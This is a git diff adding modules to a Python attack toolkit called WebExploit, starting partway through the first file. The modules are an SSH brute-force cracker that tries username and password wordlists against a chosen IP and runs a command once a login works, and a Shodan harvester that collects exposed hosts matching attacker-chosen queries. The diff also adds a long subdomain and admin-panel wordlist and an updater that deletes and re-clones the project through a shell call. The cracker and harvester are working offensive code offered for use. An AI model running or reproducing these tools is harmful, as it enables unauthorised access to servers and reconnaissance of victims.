+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+'''
+ 'pip install google-search'
+ try:
+ import time as t
+ from colorama import Fore as f
+ import sys, os
+ import requests as r
+ import paramiko
+ from random import choice
+ except:
+ print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !")
+ t.sleep(1)
+ sys.exit()
+
+ black = "\033[0;30m"
+ red = "\033[0;31m"
+ green = "\033[0;32m"
+ brown = "\033[0;33m"
+ blue = "\033[0;34m"
+ purple = "\033[0;35m"
+ cyan = "\033[0;36m"
+ l_gray = "\033[0;37m"
+ dark_gray = "\033[1;30m"
+ l_red = "\033[1;31m"
+ l_green = "\033[1;32m"
+ yellow = "\033[1;33m"
+ l_blue = "\033[1;34m"
+ l_purple = "\033[1;35m"
+ l_cyan = "\033[1;36m"
+ l_white = "\033[1;37m"
+ faint = "\033[2m"
+ italic = "\033[3m"
+ underline = "\033[4m"
+ blink = "\033[5m"
+ nefative = "\033[7m"
+ cross = "\033[9m"
+ ended = "\033[0m"
+ bold = "\033[1m"
+ nbold = "\033[0m"
+ white = f.WHITE
+
+ bnr = ['''
+ ██████ ██████ ▄████▄
+ ▒██ ▒ ▒██ ▒ ▒██▀ ▀█
+ ░ ▓██▄ ░ ▓██▄ ▒▓█ ▄
+ ▒ ██▒ ▒ ██▒ ▒▓▓▄ ▄██
+ ▒██████▒▒ ▒██████▒▒ ▒ ▓███▀
+ ▒ ▒▓▒ ▒ ░ ▒ ▒▓▒ ▒ ░ ░ ░▒ ▒
+ ░ ░▒ ░ ░ ░▒ ░ ░ ▒
+ ░ ░ ░ ░ ░ ░ ░
+ ░ ░ ░ ░ ''', '''
+ ░▒█▀▀▀█░░░▒█▀▀▀█░░░▒█▀▀▄
+ ░░▀▀▀▄▄░░░░▀▀▀▄▄░░░▒█░░░
+ ░▒█▄▄▄█░░░▒█▄▄▄█░░░▒█▄▄▀ ''']
+
+ def r_bnr(bnr):
+ return choice(bnr)
+
+ print (f'{blink}{r_bnr(bnr)}{ended}', end='')
+ t.sleep(2)
+ print(f' {italic}From{ended} : ', end='')
+ #create flush text [simple]
+ print(f'{red}{bold}', end='', flush=True)
+ print(f'{bold}W', end='', flush=True)
+ t.sleep(0.5)
+ print('e', end='', flush=True)
+ t.sleep(0.7)
+ print('b', end='', flush=True)
+ t.sleep(0.4)
+ print('E', end='', flush=True)
+ t.sleep(0.1)
+ print('x', end='', flush=True)
+ t.sleep(0.2)
+ print('p', end='', flush=True)
+ t.sleep(0.3)
+ print('l', end='', flush=True)
+ t.sleep(0.4)
+ print('o', end='', flush=True)
+ t.sleep(0.5)
+ print('i', end='', flush=True)
+ t.sleep(1.5)
+ print(f't{ended}', flush=True)
+ nbold = "\033[0m" # tahe koskholi !
+ t.sleep(1)
+ print(f'{white}{nbold}')
+
+ print (f'\n {bold}{f.GREEN}[{f.WHITE}SSC{f.GREEN}]{f.WHITE}{f.RED} S.S.C{f.WHITE}{bold} SS{nbold}h {bold}C{nbold}racker T00L !\n\n\n')
+ t.sleep(3)
+
+
+
+
+ while True:
+ try:
+ host = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}IP{nbold}{f.WHITE} enter {bold}\'IP{nbold}\' [ex: 1.1.1.1]:#{f.GREEN}{bold} ')
+ print(f'{nbold}')
+
+ if host:
+ break
+ else:
+ continue
+
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ # break
+ sys.exit(0)
+ # know = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER{nbold}{f.WHITE} Are You Know {bold}USERNAME {nbold}? [y > yes | n > no]:#{f.GREEN}{bold} ')
+
+ print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER{nbold}{f.YELLOW} If You Know {bold}USERNAME {nbold}Give A File With 1 Username !{white}]')
+ t.sleep(3)
+
+ while True:
+ usernames = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER{nbold}{f.WHITE} enter \'USERNAME LIST{nbold}\' [ex: ssh-users.txt]:#{f.GREEN}{bold} ')
+ if usernames:
+ try:
+ users = open(usernames, 'r').read().split()
+ # users.close()
+ break
+ except Exception as file_err:
+ print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}S.S.C/{f.GREEN}Usernames{white}] {nbold}{f.CYAN} ERROR : \'{bold}{file_err}{nbold}\' \n')
+ t.sleep(1)
+ continue
+ t.sleep(1)
+
+
+ while True:
+ passwords = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER{nbold}{f.WHITE} enter \'Password LIST{nbold}\' [ex: /home/WebExploit/Desktop/ssh-passwords.txt]:#{f.GREEN}{bold} ')
+ if passwords:
+ try:
+ passes = open(passwords, 'r').read().split()
+ # passes.close()
+ break
+ except Exception as file_err:
+ print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}S.S.C/{f.GREEN}Passwords{white}] {nbold}{f.CYAN} ERROR : \'{bold}{file_err}{nbold}\' \n')
+ t.sleep(1)
+ continue
+ t.sleep(1)
+
+ print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER{nbold}{f.YELLOW} Loadind modules {bold}ssh-cracker . . . !{nbold}]')
+ t.sleep(3)
+ try:
+ client = paramiko.client.SSHClient()
+ client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+ except Exception as err:
+ print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}S.S.C/{f.GREEN}Modules-Loader{white}] {nbold}{f.CYAN} ERROR : \'{bold}{err}{nbold}\' \n')
+ sys.exit()
+
+ print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER/{nbold}{f.YELLOW}ATTACK{bold} launching ATTACK in{white}]', end='', flush=True)
+ t.sleep(1)
+ print (' 5 ', end='', flush=True)
+ t.sleep(1)
+ print (' 4 ', end='', flush=True)
+ t.sleep(1)
+ print (' 3 ', end='', flush=True)
+ t.sleep(1)
+ print (' 2 ', end='', flush=True)
+ t.sleep(1)
+ print (' 1 ', end='', flush=True)
+ t.sleep(1)
+ print (' 0 ', end='', flush=True)
+
+
+ t.sleep(1)
+
+ #print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER/{nbold}{f.YELLOW}USERNAMES-COUNT {white}> > >{bold} {red}{len(str(users))} {white}]\n')
+ #t.sleep(1)
+ #print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER/{nbold}{f.YELLOW}PASSWORDS-COUNT {white}> > >{bold} {red}{len(str(passes))} {white}]\n')
+ #t.sleep(1)
+ #k = len(int(passes))
+ #o = len(int(users))
+ #hits = (k+o)
+ #print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER/{nbold}{f.YELLOW}HIT-COUNT {white}> > >{bold} {red} {hits} . . .{white}]\n')
+ t.sleep(3)
+ print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER/{nbold}{f.YELLOW}ATTACK{green}{bold} LAUNCH{white}]\n')
+
+ for username in users:
+ for password in passes:
+ try:
+ client.connect(host, username=username, password=password)
+ _stdin, _stdout,_stderr = client.exec_command("df")
+ print(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}{green}INFO{nbold}{f.WHITE} User: {bold}{green}\'{username}{nbold}{white}\' Passowrd: {bold} \'{green}{password}{nbold}{white}\' {bold}{green} SUCESSFULL !')
+ t.sleep(1)
+ print(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}{green}INFO{nbold}{f.WHITE} Commaned Exec: {bold}{green}\n{_stdout.read().decode()}')
+ client.close()
+ break
+ sys.exit(0)
+ except Exception as ssh_error:
+ print(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}{green}INFO{nbold}{f.WHITE} User: {bold}{red}\'{username}{nbold}{white}\' Passowrd: {bold} \'{red}{password}{nbold}{white}\' {bold}{red} Not SUCESSFULL ! {nbold}{yellow} Because: {bold}{ssh_error}')
+ continue
+
+
+
+
+
diff --git a/cores/sse.py b/cores/sse.py
new file mode 100644
index 0000000..e8b4300
--- /dev/null
+++ b/cores/sse.py
@@ -0,0 +1,224 @@
+def run():
+ '''
+ MIT License
+
+Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+'''
+ 'pip install google-search'
+ try:
+ import time as t
+ from colorama import Fore as f
+ import sys, os
+ from random import choice
+ import shodan
+ except:
+ print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !")
+ t.sleep(1)
+ sys.exit()
+
+ black = "\033[0;30m"
+ red = "\033[0;31m"
+ green = "\033[0;32m"
+ brown = "\033[0;33m"
+ blue = "\033[0;34m"
+ purple = "\033[0;35m"
+ cyan = "\033[0;36m"
+ l_gray = "\033[0;37m"
+ dark_gray = "\033[1;30m"
+ l_red = "\033[1;31m"
+ l_green = "\033[1;32m"
+ yellow = "\033[1;33m"
+ l_blue = "\033[1;34m"
+ l_purple = "\033[1;35m"
+ l_cyan = "\033[1;36m"
+ l_white = "\033[1;37m"
+ faint = "\033[2m"
+ italic = "\033[3m"
+ underline = "\033[4m"
+ blink = "\033[5m"
+ nefative = "\033[7m"
+ cross = "\033[9m"
+ ended = "\033[0m"
+ bold = "\033[1m"
+ nbold = "\033[0m"
+ white = f.WHITE
+
+ bnr = ['''
+ ██████ ██████ ▓█████
+ ▒██ ▒ ▒██ ▒ ▓█ ▀
+ ░ ▓██▄ ░ ▓██▄ ▒███
+ ▒ ██▒ ▒ ██▒ ▒▓█ ▄
+ ▒██████▒▒ ▒██████▒▒ ░▒████
+ ▒ ▒▓▒ ▒ ░ ▒ ▒▓▒ ▒ ░ ░░ ▒░
+ ░ ░▒ ░ ░ ░▒ ░ ░ ░
+ ░ ░ ░ ░ ░ ░ ░
+ ░ ░ ░ ''', '''
+ ░▒█▀▀▀█░░░▒█▀▀▀█░░░▒█▀▀▀
+ ░░▀▀▀▄▄░░░░▀▀▀▄▄░░░▒█▀▀▀
+ ░▒█▄▄▄█░░░▒█▄▄▄█░░░▒█▄▄▄ ''']
+
+ def r_bnr(bnr):
+ return choice(bnr)
+
+ print (f'{blink}{r_bnr(bnr)}{ended}', end='')
+ t.sleep(2)
+ print(f' {italic}From{ended} : ', end='')
+ #create flush text [simple]
+ print(f'{red}{bold}', end='', flush=True)
+ print(f'{bold}W', end='', flush=True)
+ t.sleep(0.5)
+ print('e', end='', flush=True)
+ t.sleep(0.7)
+ print('b', end='', flush=True)
+ t.sleep(0.4)
+ print('E', end='', flush=True)
+ t.sleep(0.1)
+ print('x', end='', flush=True)
+ t.sleep(0.2)
+ print('p', end='', flush=True)
+ t.sleep(0.3)
+ print('l', end='', flush=True)
+ t.sleep(0.4)
+ print('o', end='', flush=True)
+ t.sleep(0.5)
+ print('i', end='', flush=True)
+ t.sleep(1.5)
+ print(f't{ended}', flush=True)
+ nbold = "\033[0m" # tahe koskholi !
+ t.sleep(1)
+ print(f'{white}{nbold}')
+
+ print (f'\n {bold}{f.GREEN}[{f.WHITE}SSE{f.GREEN}]{f.WHITE}{f.RED} S.S.E{f.WHITE}{bold} S{nbold}odan {bold}S{nbold}earch {bold}E{nbold}ngine T00L !\n\n\n')
+ t.sleep(3)
+
+ save_question = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}SAVER{nbold}{f.WHITE} Save You\'r Logs To a .txt File? {bold}\'LOG_FILE\'{nbold} [ex: Y/y | N/n]:#{f.GREEN}{bold} ').lower()
+
+ log = ('')
+ data = ('')
+
+ def saver(data):
+ file = open((log) + ".txt", "a")
+ file.write(data)
+ file.close()
+
+ if save_question.startswith("y"):
+ log = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}SAVER{nbold}{f.WHITE} Give The Log\'s File Name ! {bold}\'LOG_FILE_NAME\'{nbold} [ex: MyLogs]:#{f.GREEN}{bold} ')
+ #log = (log + '.txt')
+ #print(pt)
+ print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}Log\'s File Name{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{log}{nbold}')
+
+ else:
+ print (f'\n {f.YELLOW}{bold}WARNING{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}SAVER{nbold}{f.GREEN}{bold} SAVING \'SKIPPED\'{f.WHITE} ')
+
+ t.sleep(2)
+ print(f'{nbold}')
+ while True:
+ try:
+ api_key = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}SAVER{nbold}{f.WHITE} GIVE ME A {bold}\'SHODAN_API_KEY\'{nbold} [ex: J2IdjIAjdiWiJVn...]:#{f.GREEN}{bold} ') #.rstrip("\n")
+ if api_key:
+ break
+ else:
+ continue
+
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ sys.exit(0)
+
+
+ t.sleep(3)
+ print(f'{nbold}')
+ print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}API KEY{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{api_key}{nbold}\n')
+ t.sleep(0.5)
+ api = shodan.Shodan(api_key)
+ limit_num = 888
+ count_num = 1
+
+ try:
+
+ print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}VERIFY [Shodan.io] API KEY{nbold}{f.WHITE}]{f.WHITE}{bold} CHECKING . . .{nbold}\n')
+ api.search("WebExploit")
+ t.sleep(1)
+ print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}API KEY \'Authentication\' {nbold}{f.WHITE}] >>> {f.GREEN}{bold} SUCCESS . . .{nbold}\n')
+
+ searcher = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}SAVER{nbold}{f.WHITE} Enter You\'r {bold}\'KEYWORD[s]\'{nbold} [ex: port:80 http.title:"HACKED"]:#{f.GREEN}{bold} ')
+
+ count_num = count_num + 1
+
+ for result in api.search_cursor(searcher):
+ ip = (result["ip_str"])
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}IP{nbold}{f.WHITE} >>> {bold}{green}{bold}{ip}{nbold}\n')
+ t.sleep(0.1)
+ port = (result["port"])
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}PORT{nbold}{f.WHITE} >>> {bold}{green}{bold}{port}{nbold}\n')
+ t.sleep(0.1)
+ org = (result["org"])
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}ORGANIZATION{nbold}{f.WHITE} >>> {bold}{green}{bold}{org}{nbold}\n')
+ t.sleep(0.1)
+ loc = (result["location"])
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}LOCATION{nbold}{f.WHITE} >>> {bold}{green}{bold}{loc}{nbold}\n')
+ t.sleep(0.1)
+ tra = (result["transport"])
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}LAYER{nbold}{f.WHITE} >>> {bold}{green}{bold}{tra}{nbold}\n')
+ t.sleep(0.1)
+ dom = (result["domains"])
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}DOMAIN\'S{nbold}{f.WHITE} >>> {bold}{green}{bold}{dom}{nbold}\n')
+ t.sleep(0.1)
+ hosts = (result["hostnames"])
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}HOST-NAME\'S{nbold}{f.WHITE} >>> {bold}{green}{bold}{hosts}{nbold}\n')
+ t.sleep(0.1)
+ d = (result["data"])
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}INFORMATION-SERVICE{nbold}{f.WHITE} >>> {bold}{green}{bold}{d}{nbold}\n')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}SEARCH QUERY{nbold}{f.WHITE} >>> {bold}{green}{bold}{(str(count_num))}{nbold}\n')
+ t.sleep(0.5)
+ data = ("\t\n\nIP: " + str(result["ip_str"]) + ("\nPORT: " + str(result["port"])) + ("\nORGANIZATION: " + str(result["org"])) + ("\nLOCATION: " + str(result["location"])) + ("\nLAYER: " + str(result["transport"])) + ("\nDOMAINS: " + str(result["domains"])) + ("\nHOSTNAMES: " + str(result["hostnames"])) + ("\nDATA\n" + result["data"]))
+
+ saver(data)
+
+ t.sleep(0.3)
+ count_num += 1
+ if count_num >= limit_num:
+ #os.system(f('mv {log} {pt}'))
+ exit()
+ except KeyboardInterrupt:
+
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ sys.exit(0)
+
+ except shodan.APIError as shodan_key_error:
+ print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}S.S.E/{bold} !!! \'ERROR\' !!!{nbold}{f.WHITE}] >>> {f.GREEN}{bold} {shodan_key_error} {nbold}\n')
+ print(f'\n\n {nbold}{f.WHITE}{f.RED}{bold}EXITTING . . .')
+ t.sleep(3)
+ sys.exit(0)
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/cores/subdomains.txt b/cores/subdomains.txt
new file mode 100644
index 0000000..b70b4e0
--- /dev/null
+++ b/cores/subdomains.txt
@@ -0,0 +1,845 @@
+admin
+login
+log-in
+logini
+login1
+admin1
+administer
+administrator
+administratoraccounts
+account
+access
+adminlogin
+cp
+cpanel
+admin2
+ad3
+add
+administratoraccount
+admin
+log
+control
+control-admin
+control-panel
+paneladmin
+user
+users
+username
+tt
+ladmin
+loginadmin
+loginuser
+usr
+main
+administrators
+xadmin
+1
+m
+cg
+cntrl
+ctrl
+accounts
+adminlogin
+userlogin
+ac
+acc
+pnl
+a
+acceptatie
+access
+accounting
+accounts
+ad
+adm
+admin
+administrator
+ads
+adserver
+affiliate
+affiliates
+agenda
+alpha
+alumni
+analytics
+ann
+api
+area
+apollo
+app
+apps
+ar
+archive
+art
+assets
+atlas
+auth
+auto
+autoconfig
+autodiscover
+av
+ayuda
+b
+b2b
+backup
+backups
+banner
+barracuda
+bb
+bbs
+beta
+biblioteca
+billing
+blackboard
+blog
+blogs
+board
+book
+booking
+bookings
+broadcast-ip
+bsd
+bt
+bug
+bugs
+business
+c
+ca
+cache
+cacti
+cal
+calendar
+cam
+careers
+cart
+cas
+catalog
+catalogo
+catalogue
+cc
+cctv
+cdn
+cdn1
+cdn2
+chat
+chimera
+chronos
+ci
+cisco
+citrix
+classroom
+client
+clientes
+clients
+cloud
+cloudflare-resolve-to
+club
+cms
+cn
+co
+community
+conference
+config
+connect
+contact
+contacts
+content
+control
+controller
+controlp
+controlpanel
+corp
+corporate
+correo
+correoweb
+cp
+cpanel
+crm
+cs
+css
+customers
+cvs
+d
+da
+loads
+data
+down
+download
+downloads
+downlod
+lod
+loading
+load
+database
+db
+db1
+db2
+dbadmin
+dbs
+dc
+de
+default
+demo
+demo2
+demon
+demostration
+descargas
+design
+desktop
+dev
+dev01
+dev1
+dev2
+devel
+developers
+development
+dialin
+diana
+direct
+directory
+dl
+dmz
+dns
+dns1
+dns2
+dns3
+dns4
+doc
+docs
+domain
+domain-controller
+domainadmin
+domaincontrol
+domaincontroller
+domaincontrolpanel
+domainmanagement
+domains
+drupal
+e
+eaccess
+echo
+ecommerce
+edu
+ektron
+elearning
+en
+eng
+enterpriseenrollment
+enterpriseregistration
+erp
+es
+event
+events
+ex
+example
+examples
+exchange
+external
+extranet
+f
+facebook
+faq
+fax
+fb
+feedback
+feeds
+file
+files
+fileserver
+finance
+firewall
+folders
+forms
+foro
+foros
+forum
+forums
+foto
+fr
+free
+freebsd
+fs
+ftp
+ftp1
+ftp2
+ftpadmin
+ftpd
+fw
+g
+galeria
+gallery
+game
+games
+gate
+gateway
+gilford
+gis
+git
+gmail
+go
+google
+groups
+groupwise
+gu
+guest
+guia
+guide
+gw
+health
+help
+helpdesk
+hera
+heracles
+hercules
+hermes
+home
+homer
+host
+host2
+hosting
+hotspot
+hr
+hypernova
+i
+id
+idp
+im
+image
+images
+images1
+images2
+images3
+images4
+images5
+images6
+images7
+images8
+imail
+imap
+imap3
+imap3d
+imapd
+imaps
+img
+img1
+img2
+img3
+imgs
+imogen
+in
+incoming
+info
+inmuebles
+internal
+interno
+intra
+intranet
+io
+ip
+ip6
+ipfixe
+iphone
+ipmi
+ipsec
+ipv4
+ipv6
+irc
+ircd
+is
+isa
+it
+j
+ja
+jabber
+jboss
+jboss2
+jira
+job
+jobs
+jp
+js
+jupiter
+k
+kb
+kerberos
+l
+la
+lab
+laboratories
+laboratorio
+laboratory
+labs
+ldap
+legacy
+lib
+library
+link
+links
+linux
+lisa
+list
+lists
+live
+lms
+local
+localhost
+log
+loghost
+login
+logon
+logs
+london
+loopback
+love
+lp
+lync
+lyncdiscover
+m
+m1
+m2
+magento
+mail
+mail01
+mail1
+mail2
+mail3
+mail4
+mail5
+mailadmin
+mailbackup
+mailbox
+mailer
+mailgate
+mailhost
+mailing
+mailman
+mailserver
+main
+manage
+manager
+mantis
+map
+maps
+market
+marketing
+mars
+master
+math
+mb
+mc
+mx1
+mx2
+mx3
+mx4
+mx5
+mx6
+mx7
+mx8
+mx9
+mx10
+mdm
+media
+meet
+member
+members
+mercury
+meta
+meta01
+meta02
+meta03
+meta1
+meta2
+meta3
+miembros
+mijn
+minerva
+mirror
+ml
+mm
+mob
+mobil
+mobile
+monitor
+monitoring
+moodle
+movil
+mrtg
+ms
+msoid
+mssql
+munin
+music
+mx
+mx-a
+mx-b
+mx0
+mx01
+mx02
+mx03
+mx1
+mx2
+mx3
+my
+mysql
+mysql2
+n
+nagios
+nas
+nat
+nelson
+neon
+net
+netmail
+netscaler
+network
+network-ip
+networks
+new
+newmail
+news
+newsgroups
+newsite
+newsletter
+nl
+noc
+novell
+ns
+ns0
+ns01
+ns02
+ns03
+ns1
+ns10
+ns11
+ns12
+ns2
+ns3
+ns4
+ns5
+ns6
+ns7
+ns8
+nt
+ntp
+ntp1
+o
+oa
+office
+office2
+old
+oldmail
+oldsite
+oldwww
+on
+online
+op
+openbsd
+operation
+operations
+ops
+ora
+oracle
+origin
+orion
+os
+osx
+ou
+outgoing
+outlook
+owa
+ox
+p
+painel
+panel
+partner
+partners
+pay
+payment
+payments
+pbx
+pcanywhere
+pda
+pegasus
+pendrell
+personal
+pgsql
+phoenix
+photo
+photos
+php
+phpmyadmin
+pm
+pma
+poczta
+pop
+pop3
+portal
+portfolio
+post
+postgres
+postgresql
+postman
+postmaster
+pp
+ppp
+pr
+pre-prod
+pre-production
+preprod
+press
+preview
+private
+pro
+prod
+priv8
+production
+project
+projects
+promo
+proxy
+prueba
+pruebas
+pt
+pub
+public
+q
+qa
+r
+ra
+radio
+radius
+ras
+rdp
+redirect
+redmine
+register
+relay
+remote
+remote2
+repo
+report
+reports
+repos
+research
+resources
+restricted
+reviews
+robinhood
+root
+router
+rss
+rt
+rtmp
+ru
+s
+s1
+s2
+s3
+s4
+sa
+sales
+sample
+samples
+sandbox
+sc
+search
+secure
+security
+seo
+server
+server1
+server2
+service
+services
+sftp
+share
+sharepoint
+shell
+shop
+shopping
+signup
+sip
+site
+siteadmin
+sitebuilder
+sites
+skype
+sms
+smtp
+smtp1
+smtp2
+smtp3
+snmp
+social
+software
+solaris
+soporte
+sp
+spam
+speedtest
+sport
+sports
+sql
+sqlserver
+squirrel
+squirrelmail
+ssh
+ssl
+sslvpn
+sso
+st
+staff
+stage
+staging
+start
+stat
+static
+static1
+static2
+stats
+status
+storage
+store
+stream
+streaming
+student
+sun
+support
+survey
+sv
+svn
+t
+team
+tech
+telewerk
+telework
+temp
+test
+test1
+test2
+test3
+testing
+testsite
+testweb
+tfs
+tftp
+thumbs
+ticket
+tickets
+time
+tools
+trac
+track
+tracker
+tracking
+train
+training
+travel
+ts
+tunnel
+tutorials
+tv
+tw
+u
+uat
+uk
+unix
+up
+update
+upload
+uploads
+us
+user
+users
+v
+v2
+vb
+vc
+ventas
+video
+videos
+vip
+virtual
+vista
+vle
+vm
+vms
+vmware
+vnc
+vod
+voip
+vpn
+vpn1
+vpn2
+vpn3
+vps
+vps1
+vps2
+w
+w3
+wap
+wc
+web
+web0
+web01
+web02
+web03
+web1
+web2
+web3
+web4
+web5
+webadmin
+webcam
+webconf
+webct
+webdb
+webdisk
+weblog
+webmail
+webmail2
+webmaster
+webmin
+webservices
+webstats
+webstore
+whm
+wifi
+wiki
+win
+win32
+windows
+wordpress
+work
+wp
+ws
+wsus
+ww
+ww0
+ww01
+ww02
+ww03
+ww1
+ww2
+ww3
+www
+www-test
+www0
+www01
+www02
+www03
+webexploit
+www1
+www2
+www3
+www4
+www5
+www6
+www7
+wwwm
+wwwold
+wwww
+x
+xml
+zabbix
+zeus
+zimbra
diff --git a/cores/updater.py b/cores/updater.py
new file mode 100644
index 0000000..a25a43c
--- /dev/null
+++ b/cores/updater.py
@@ -0,0 +1,21 @@
+#!/usr/bin/python3
+from requests import get
+from subprocess import Popen
+
+def run():
+
+ ver:str=open('VERSION', 'r').read().split()[0]
+
+ githubVerionController:str=get('https://raw.githubusercontent.com/C4ssif3r/WebExploit/main/VERSION').text.split()[0]
+
+ if ver != githubVerionController:
+ updateQuestion:str=input (f'update available !\n web explloit new verion: {githubVerionController}\nare you want to update ? [y/n] ').lower()
+ if updateQuestion=='y':
+ Popen('cd .. && rm -rf WebExploit && git clone --depth=1 https://github.com/C4ssif3r/WebExploit', shell=True)
+ print ('[WebExploit] UPDATED , PLZ CLOSE TERMINAL AND USE AGAIN =)')
+ else: print ("[WebExploit] UPDATE SKIPPED .")
+ else:
+ print ("[WebExploit] YOU ARE USING LASTED VERSION")
+ return
+
+
diff --git a/cores/wpf.py b/cores/wpf.py
index b72ae62..34854fb 100644
--- a/cores/wpf.py
+++ b/cores/wpf.py
@@ -152,8 +152,8 @@ def r_bnr(bnr):
print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}W.P.F/{f.GREEN}REQUEST-MAKER{white}] {nbold}{f.CYAN} CAN\'T CONNECT TO \'{bold}{url}{nbold}\'{nbold} ERROR: {bold}{url_error}{nbold}\n')
t.sleep(2)
- #raise SystemExit(url_error)
- sys.exit()
+ raise SystemExit(url_error)
+ #sys.exit()
if checker.status_code == 404 or checker.status_code == 500:
